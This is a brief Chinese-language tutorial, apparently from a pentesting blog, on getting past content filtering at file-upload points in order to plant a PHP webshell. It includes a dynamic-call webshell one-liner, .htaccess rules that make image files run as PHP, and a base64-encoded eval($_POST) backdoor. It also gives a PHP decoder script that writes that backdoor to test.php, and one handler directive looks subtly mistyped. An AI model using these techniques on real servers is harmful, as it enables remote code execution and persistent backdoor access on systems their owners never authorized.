shell文件上传—危险函数(内容)检测绕过
文件上传点有时候除了对文件后缀进行检测外,还会对文件内容进行检测,涉及到危险函数或者木马的内容都会进行删除,可以尝试使用以下方法来绕过:
(1)使用动态调用绕过,例如:
<?php $_GET['0']($_GET['1']);?>
此方法不能绕过disable_function
(2)上传编码后的webshell配合.htaccess来解析
注意点:.htaccess只适用apache ①、Allow Override All ②、LoadModule rewrite_module modules/mod_rewrite.so #rewrite模块为开启状态。
AddType application/x-httpd-php .jpg
第一种:将所有后缀为.jpg的文件作为php文件解析
<FilesMatch "BaiZe">
setHandler application/x-httpd-phpBZ
</FilesMatch>
第二种:将所有文件名包含BaiZe的文件作为php文件解析
(3)上传编码后的webshell,再另外上传一个脚本文件解码webshell并写入新文件,例如下面这段代码为1.php:
PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7Pz4= //经过base64加密
上传后再上传下面为2.php,然后访问后再访问test.php即可getshell
<?php
$path ="/xx/xxx/xx/1.php";
$str= file_get_contents($path); //获取1.php文件的内容
$strs = base64_decode($str); //将内容进行base64解密
$test = fopen("./test.php","w"); //新建一个文件为test.php
fwrite($test,$strs); //将解密后的内容写入test.php文件中
fclose($test);
?>